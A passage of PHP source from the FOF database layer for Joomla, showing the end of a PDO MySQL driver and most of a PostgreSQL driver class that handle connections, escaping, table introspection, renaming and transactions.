$query->setQuery('DROP TABLE ' . ($ifExists ? 'IF
EXISTS ' : '') . $this->quoteName($tableName));
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.4
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
$this->setQuery('USE ' . $this->quoteName($database));
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 3.4
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Initialise variables.
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$this->setQuery('SHOW CREATE TABLE ' .
$this->quoteName($table));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($table));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace("/[(0-9)]/",
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.4
*/
public function getVersion()
{
$this->connect();
return $this->getOption(PDO::ATTR_SERVER_VERSION);
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return FOFDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return FOFDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' .
$this->quoteName($oldTable) . ' TO ' .
$this->quoteName($newTable));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.4
*/
public function escape($text, $extra = false)
{
$this->connect();
if (is_int($text) || is_float($text))
{
return $text;
}
$result = substr($this->connection->quote($text), 1, -1);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
else
{
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* PostgreSQL database driver
*
* @since 12.1
*/
class FOFDatabaseDriverPostgresql extends FOFDatabaseDriver
{
/**
* The database driver name
*
* @var string
* @since 12.1
*/
public $name = 'postgresql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'postgresql';
/**
* Quote for named objects
*
* @var string
* @since 12.1
*/
protected $nameQuote = '"';
/**
* The null/zero date string
*
* @var string
* @since 12.1
*/
protected $nullDate = '1970-01-01 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 12.1
*/
protected static $dbMinimum = '8.3.18';
/**
* Operator used for concatenation
*
* @var string
* @since 12.1
*/
protected $concat_operator = '||';
/**
* FOFDatabaseDriverPostgresqlQuery object returned by getQuery
*
* @var FOFDatabaseDriverPostgresqlQuery
* @since 12.1
*/
protected $queryObject = null;
/**
* Database object constructor
*
* @param array $options List of options used to configure the
connection
*
* @since 12.1
*/
public function __construct( $options )
{
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
// Finalize initialization
parent::__construct($options);
}
/**
* Database object destructor
*
* @since 12.1
*/
public function __destruct()
{
$this->disconnect();
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the postgresql extension for PHP is installed and enabled.
if (!function_exists('pg_connect'))
{
throw new RuntimeException('PHP extension pg_connect is not
available.');
}
// Build the DSN for the connection.
$dsn = '';
if (!empty($this->options['host']))
{
$dsn .= "host={$this->options['host']} ";
}
$dsn .= "dbname={$this->options['database']}
user={$this->options['user']}
password={$this->options['password']}";
// Attempt to connect to the server.
if (!($this->connection = @pg_connect($dsn)))
{
throw new RuntimeException('Error connecting to PGSQL
database.');
}
pg_set_error_verbosity($this->connection, PGSQL_ERRORS_DEFAULT);
pg_query('SET standard_conforming_strings=off');
pg_query('SET escape_string_warning=off');
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
pg_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 12.1
*/
public function escape($text, $extra = false)
{
$this->connect();
$result = pg_escape_string($this->connection, $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the PostgreSQL connector is available
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function test()
{
return (function_exists('pg_connect'));
}
/**
* Determines if the connection to the server is active.
*
* @return boolean
*
* @since 12.1
*/
public function connected()
{
$this->connect();
if (is_resource($this->connection))
{
return pg_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return boolean
*
* @since 12.1
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $this->quoteName($tableName));
$this->execute();
return true;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows in the previous operation
*
* @since 12.1
*/
public function getAffectedRows()
{
$this->connect();
return pg_affected_rows($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 12.1
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
$this->setQuery('SHOW LC_COLLATE');
$array = $this->loadAssocList();
return $array[0]['lc_collate'];
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return pg_client_encoding($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or
DELETE query, use getAffectedRows().
*
* @param resource $cur An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 12.1
*/
public function getNumRows($cur = null)
{
$this->connect();
return pg_num_rows((int) $cur ? $cur : $this->cursor);
}
/**
* Get the current or query, or new FOFDatabaseQuery object.
*
* @param boolean $new False to return the last query set, True to
return a new FOFDatabaseQuery object.
* @param boolean $asObj False to return last query as string, true to
get FOFDatabaseQueryPostgresql object.
*
* @return FOFDatabaseQuery The current query object or a new object
extending the FOFDatabaseQuery class.
*
* @since 12.1
* @throws RuntimeException
*/
public function getQuery($new = false, $asObj = false)
{
if ($new)
{
// Make sure we have a query class for this driver.
if (!class_exists('FOFDatabaseQueryPostgresql'))
{
throw new RuntimeException('FOFDatabaseQueryPostgresql Class not
found.');
}
$this->queryObject = new FOFDatabaseQueryPostgresql($this);
return $this->queryObject;
}
else
{
if ($asObj)
{
return $this->queryObject;
}
else
{
return $this->sql;
}
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by PostgreSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return string An empty char because this function is not supported
by PostgreSQL.
*
* @since 12.1
*/
public function getTableCreate($tables)
{
return '';
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
$tableSub = $this->replacePrefix($table);
$this->setQuery('
SELECT a.attname AS "column_name",
pg_catalog.format_type(a.atttypid, a.atttypmod) as "type",
CASE WHEN a.attnotnull IS TRUE
THEN \'NO\'
ELSE \'YES\'
END AS "null",
CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT
NULL
THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true)
END as "Default",
CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL
THEN \'\'
ELSE pg_catalog.col_description(a.attrelid, a.attnum)
END AS "comments"
FROM pg_catalog.pg_attribute a
LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND
a.attnum=adef.adnum
LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid
WHERE a.attrelid =
(SELECT oid FROM pg_catalog.pg_class WHERE relname=' .
$this->quote($tableSub) . '
AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE
nspname = \'public\')
)
AND a.attnum > 0 AND NOT a.attisdropped
ORDER BY a.attnum'
);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->column_name] = preg_replace("/[(0-9)]/",
'', $field->type);
}
}
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->type), "character
varying"))
{
$field->Default = "";
}
if (stristr(strtolower($field->type), "text"))
{
$field->Default = "";
}
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$result[$field->column_name] = (object) array(
'column_name' => $field->column_name,
'type' => $field->type,
'null' => $field->null,
'Default' => $field->Default,
'comments' => '',
'Field' => $field->column_name,
'Type' => $field->type,
'Null' => $field->null,
// TODO: Improve query above to return primary key info as well
// 'Key' => ($field->PK == '1' ?
'PRI' : '')
);
}
}
/* Change Postgresql's NULL::* type with PHP's null one */
foreach ($fields as $field)
{
if (preg_match("/^NULL::*/", $field->Default))
{
$field->Default = null;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
// Get the details columns information.
$this->setQuery('
SELECT indexname AS "idxName", indisprimary AS
"isPrimary", indisunique AS "isUnique",
CASE WHEN indisprimary = true THEN
( SELECT \'ALTER TABLE \' || tablename || \' ADD
\' || pg_catalog.pg_get_constraintdef(const.oid, true)
FROM pg_constraint AS const WHERE const.conname=
pgClassFirst.relname )
ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true)
END AS "Query"
FROM pg_indexes
LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname
LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid
WHERE tablename=' . $this->quote($table) . ' ORDER BY
indkey'
);
$keys = $this->loadObjectList();
return $keys;
}
return false;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type=' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ')')
->order('table_name ASC');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the details list of sequences for a table.
*
* @param string $table The name of the table.
*
* @return array An array of sequences specification for the table.
*
* @since 12.1
* @throws RuntimeException
*/
public function getTableSequences($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
$name = array(
's.relname', 'n.nspname', 't.relname',
'a.attname', 'info.data_type',
'info.minimum_value', 'info.maximum_value',
'info.increment', 'info.cycle_option'
);
$as = array('sequence', 'schema', 'table',
'column', 'data_type', 'minimum_value',
'maximum_value', 'increment',
'cycle_option');
if (version_compare($this->getVersion(), '9.1.0') >= 0)
{
$name[] .= 'info.start_value';
$as[] .= 'start_value';
}
// Get the details columns information.
$query = $this->getQuery(true)
->select($this->quoteName($name, $as))
->from('pg_class AS s')
->join('LEFT', "pg_depend d ON d.objid=s.oid AND
d.classid='pg_class'::regclass AND
d.refclassid='pg_class'::regclass")
->join('LEFT', 'pg_class t ON t.oid=d.refobjid')
->join('LEFT', 'pg_namespace n ON
n.oid=t.relnamespace')
->join('LEFT', 'pg_attribute a ON a.attrelid=t.oid
AND a.attnum=d.refobjsubid')
->join('LEFT', 'information_schema.sequences AS info
ON info.sequence_name=s.relname')
->where("s.relkind='S' AND d.deptype='a'
AND t.relname=" . $this->quote($table));
$this->setQuery($query);
$seq = $this->loadObjectList();
return $seq;
}
return false;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 12.1
*/
public function getVersion()
{
$this->connect();
$version = pg_version($this->connection);
return $version['server'];
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
* To be called after the INSERT statement, it's MANDATORY to have a
sequence on
* every primary key table.
*
* To get the auto incremented value it's possible to call this
function after
* INSERT INTO query, or use INSERT INTO with RETURNING clause.
*
* @example with insertid() call:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'");
* $this->setQuery($query);
* $this->execute();
* $id = $this->insertid();
*
* @example with RETURNING clause:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'")
* ->returning('id');
* $this->setQuery($query);
* $id = $this->loadResult();
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 12.1
*/
public function insertid()
{
$this->connect();
$insertQuery = $this->getQuery(false, true);
$table = $insertQuery->__get('insert')->getElements();
/* find sequence column name */
$colNameQuery = $this->getQuery(true);
$colNameQuery->select('column_default')
->from('information_schema.columns')
->where("table_name=" .
$this->quote($this->replacePrefix(str_replace('"',
'', $table[0]))), 'AND')
->where("column_default LIKE '%nextval%'");
$this->setQuery($colNameQuery);
$colName = $this->loadRow();
$changedColName = str_replace('nextval', 'currval',
$colName);
$insertidQuery = $this->getQuery(true);
$insertidQuery->select($changedColName);
$this->setQuery($insertidQuery);
$insertVal = $this->loadRow();
return $insertVal[0];
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return FOFDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function lockTable($tableName)
{
$this->transactionStart();
$this->setQuery('LOCK TABLE ' .
$this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE
MODE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 12.1
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
if (!is_resource($this->connection))
{
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
}
throw new RuntimeException($this->errorMsg, $this->errorNum);
}
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof FOFDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->limit . ' OFFSET ' .
$this->offset;
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
if (class_exists('JLog'))
{
JLog::add($query, JLog::DEBUG, 'databasequery');
}
$this->timings[] = microtime(true);
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @pg_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage($query);
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage($query);
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg, null, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
if (class_exists('JLog'))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
}
throw new RuntimeException($this->errorMsg);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by PostgreSQL.
* @param string $prefix Not used by PostgreSQL.
*
* @return FOFDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
// Origin Table does not exist
if (!in_array($oldTable, $tableList))
{
// Origin Table not found
throw new RuntimeException('Table not found in Postgresql
database.');
}
else
{
/* Rename indexes */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE oid IN (
SELECT indexrelid
FROM pg_index, pg_class
WHERE pg_class.relname=' . $this->quote($oldTable, true) .
'
AND pg_class.oid=pg_index.indrelid );'
);
$oldIndexes = $this->loadColumn();
foreach ($oldIndexes as $oldIndex)
{
$changedIdxName = str_replace($oldTable, $newTable, $oldIndex);
$this->setQuery('ALTER INDEX ' .
$this->escape($oldIndex) . ' RENAME TO ' .
$this->escape($changedIdxName));
$this->execute();
}
/* Rename sequence */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE relkind = \'S\'
AND relnamespace IN (
SELECT oid
FROM pg_namespace
WHERE nspname NOT LIKE \'pg_%\'
AND nspname != \'information_schema\'
)
AND relname LIKE \'%' . $oldTable . '%\' ;'
);
$oldSequences = $this->loadColumn();
foreach ($oldSequences as $oldSequence)
{
$changedSequenceName = str_replace($oldTable, $newTable, $oldSequence);
$this->setQuery('ALTER SEQUENCE ' .
$this->escape($oldSequence) . ' RENAME TO ' .
$this->escape($changedSequenceName));
$this->execute();
}
/* Rename table */
$this->setQuery('ALTER TABLE ' .
$this->escape($oldTable) . ' RENAME TO ' .
$this->escape($newTable));
$this->execute();
}
return true;
}
/**
* Selects the database, but redundant for PostgreSQL
*
* @param string $database Database name to select.
*
* @return boolean Always true
*
* @since 12.1
*/
public function select($database)
{
return true;
}
/**
* Custom settings for UTF support
*
* @return integer Zero on success, -1 on failure
*
* @since 12.1
*/
public function setUtf()
{
$this->connect();
return pg_set_client_encoding($this->connection, 'UTF8');
}
/**
* This function return a field value as a prepared string to be used in a
SQL statement.
*
* @param array $columns Array of table's column returned by
::getTableColumns.
* @param string $field_name The table field's name.
* @param string $field_value The variable value to quote and return.
*
* @return string The quoted string.
*
* @since 12.1
*/
public function sqlValue($columns, $field_name, $field_value)
{
switch ($columns[$field_name])
{
case 'boolean':
$val = 'NULL';
if ($field_value == 't')
{
$val = 'TRUE';
}
elseif ($field_value == 'f')
{
$val = 'FALSE';
}
break;
case 'bigint':
case 'bigserial':
case 'integer':
case 'money':
case 'numeric':
case 'real':
case 'smallint':
case 'serial':
case 'numeric,':
$val = strlen($field_value) == 0 ? 'NULL' : $field_value;
break;
case 'date':
case 'timestamp without time zone':
if (empty($field_value))
{
$field_value = $this->getNullDate();
}
$val = $this->quote($field_value);
break;
default:
$val = $this->quote($field_value);
break;
}
return $val;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($savepoint))->execute();
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchArray($cursor = null)
{
return pg_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchAssoc($cursor = null)
{
return pg_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return pg_fetch_object(is_null($cursor) ? $this->cursor : $cursor,
null, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 12.1
*/
protected function freeResult($cursor = null)
{
pg_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 12.1
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$columns = $this->getTableColumns($table);
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields or primary keys with value 0.
if (($k[0] == "_") || ($k == $key && (($v === 0) ||
($v === '0'))))
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->sqlValue($columns, $k, $v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
$retVal = false;
if ($key)
{
$query->returning($key);
// Set the query and execute the insert.
$this->setQuery($query);
$id = $this->loadResult();
if ($id)
{
$object->$key = $id;
$retVal = true;
}
}
else
{
// Set the query and execute the insert.
$this->setQuery($query);
if ($this->execute())
{
$retVal = true;
}
}
return $retVal;
}
/**
* Test to see if the PostgreSQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 12.1
*/
public static function isSupported()
{
return (function_exists('pg_connect'));
}
/**
* Returns an array containing database's table list.
*
* @return array The database's table list.
*
* @since 12.1
*/
public function showTables()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type = ' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ' )');
$this->setQuery($query);
$tableList = $this->loadColumn();
return $tableList;
}
/**
* Get the substring position inside a string
*
* @param string $substring The string being sought
* @param string $string The string/column being searched
*
* @return integer The position of $substring in $string
*
* @since 12.1
*/
public function getStringPositionSql( $substring, $string )
{
$this->connect();
$query = "SELECT POSITION( $substring IN $string )";
$this->setQuery($query);
$position = $this->loadRow();
return $position['position'];
}
/**
* Generate a random value
*
* @return float The random generated number
*
* @since 12.1
*/
public function getRandom()
{
$this->connect();
